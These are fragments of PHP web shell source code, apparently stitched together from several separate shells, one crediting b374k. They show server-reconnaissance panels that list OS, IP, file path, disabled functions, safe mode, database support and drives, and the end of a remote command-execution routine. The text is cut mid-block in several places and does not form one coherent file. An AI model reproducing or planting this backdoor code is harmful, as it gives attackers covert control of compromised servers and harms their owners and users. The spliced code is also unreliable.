</form>'; } if (isset($p['me']) && $p['me'] === 'info') { if (@sValid($p['phpvarname'])) { $sBuff .= sDialog($p['phpvarname'] . ': ' . getcfg($p['phpvarname'])); } $sBuff .= '<form> <h2>Variables del servidor</h2> <p>Ingrese los parametros PHP de configuracion (ej: magic_quotes_gpc) <input name="phpvarname" id="phpvarname" value="" type="text" size="100" /> <input name="submit" id="submit" type="submit" value="Submit"></p> </form>'; //principal resume $dis_func = get_cfg_var('disable_functions'); !$dis_func && ($dis_func = 'No'); $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('info');\" style='margin-bottom:8px;'>Resume</p>" . "<div id='info' style='margin-bottom:8px;display:none;'><table class='dataView'>"; $info = array('Server Time' => date('Y/m/d h:i:s', time()), 'Server Domain' => $_SERVER['SERVER_NAME'], 'Server IP' => gethostbyname($_SERVER['SERVER_NAME']), 'Server OS' => PHP_OS, 'Server OS Charset' => $_SERVER['HTTP_ACCEPT_LANGUAGE'], 'Server Software' => $_SERVER['SERVER_SOFTWARE'], 'Server Web Port' => $_SERVER['SERVER_PORT'], 'PHP run mode' => php_sapi_name(), 'This file path' => __FILE__, 'PHP Version' => PHP_VERSION, 'PHP Info' => function_exists('phpinfo') && @(!in_array('phpinfo', $dis_func)) ? '<b>Yes</b>' : 'No', 'Safe Mode' => getcfg('safe_mode'), 'Administrator' => isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'), 'allow_url_fopen' => getcfg('allow_url_fopen'), 'enable_dl' => getcfg('enable_dl'), 'display_errors' => getcfg('display_errors'), 'register_globals' => getcfg('register_globals'), 'magic_quotes_gpc' => getcfg('magic_quotes_gpc'), 'memory_limit' => getcfg('memory_limit'), 'post_max_size' => getcfg('post_max_size'), 'upload_max_filesize' => getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed', 'max_execution_time' => getcfg('max_execution_time') . ' second(s)', 'disable_functions' => $dis_func, 'MySQL' => getfun('mysql_connect'), 'MSSQL' => getfun('mssql_connect'), 'PostgreSQL' => getfun('pg_connect'), 'Oracle' => getfun('ocilogon'), 'Curl' => getfun('curl_version'), 'gzcompress' => getfun('gzcompress'), 'gzencode' => getfun('gzencode'), 'bzcompress' => getfun('bzcompress')); foreach ($info as $v => $k) { $sBuff .= "<tr><td>{$v}</td><td>{$k}</td></tr>"; } $sBuff .= "</table></div>"; //based on b374k work //server misc info $sBuff .= "<p class='boxtitle touch' onclick=\"toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>" . "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>"; if ($isWIN) { foreach (range("A", "Z") as $letter) { if (is_readable($letter . ":\\")) { $drive = $letter . ":"; $sBuff .= "<tr><td>drive {$drive}</td><td>" . sizecount(@disk_free_space($drive)) . " free of " . sizecount(@disk_total_space($drive)) . "</td></tr>"; } } } else {
} fclose($pipes[2]); proc_close($process); } } else { echo execute($command); } p('</pre>'); } } elseif ($action == 'phpenv') { $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); !$dis_func && ($dis_func = 'No'); $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', __FILE__), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No'), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func)); if ($phpvarname) { m($phpvarname . ' : ' . getcfg($phpvarname)); } formhead(array('title' => 'Server environment')); makehide('action', 'phpenv'); makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1)); formfooter(); $hp = array(0 => 'Server', 1 => 'PHP'); for ($a = 0; $a < 2; $a++) { p('<h2>' . $hp[$a] . ' »</h2>'); p('<ul class="info">'); if ($a == 0) { for ($i = 1; $i <= 9; $i++) { p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>'); } } elseif ($a == 1) { for ($i = 10; $i <= 23; $i++) {
} } elseif ($act == 'phpenv') { $d = array(); if (function_exists('mysql_get_client_info')) { $d[] = "MySql (" . mysql_get_client_info() . ")"; } if (function_exists('mssql_connect')) { $d[] = "MSSQL"; } if (function_exists('pg_connect')) { $d[] = "PostgreSQL"; } if (function_exists('oci_connect')) { $d[] = "Oracle"; } $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', __FILE__), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No'), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from')), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func ? $dis_func : 'No'), 24 => array('Supported databases', implode(', ', $d)), 25 => array('cURL support', function_exists('curl_version') ? 'Yes' : 'No'), 26 => array('Open base dir', getcfg('open_basedir')), 27 => array('Safe mode exec dir', getcfg('safe_mode_exec_dir')), 28 => array('Safe mode include dir', getcfg('safe_mode_include_dir'))); $hp = array(0 => 'Server', 1 => 'PHP'); for ($a = 0; $a < 2; $a++) { p('<h2>' . $hp[$a] . ' »</h2>'); p('<ul class="info">'); if ($a == 0) { for ($i = 1; $i <= 9; $i++) { p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>'); } } elseif ($a == 1) { for ($i = 10; $i <= 25; $i++) { p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>'); } } p('</ul>'); }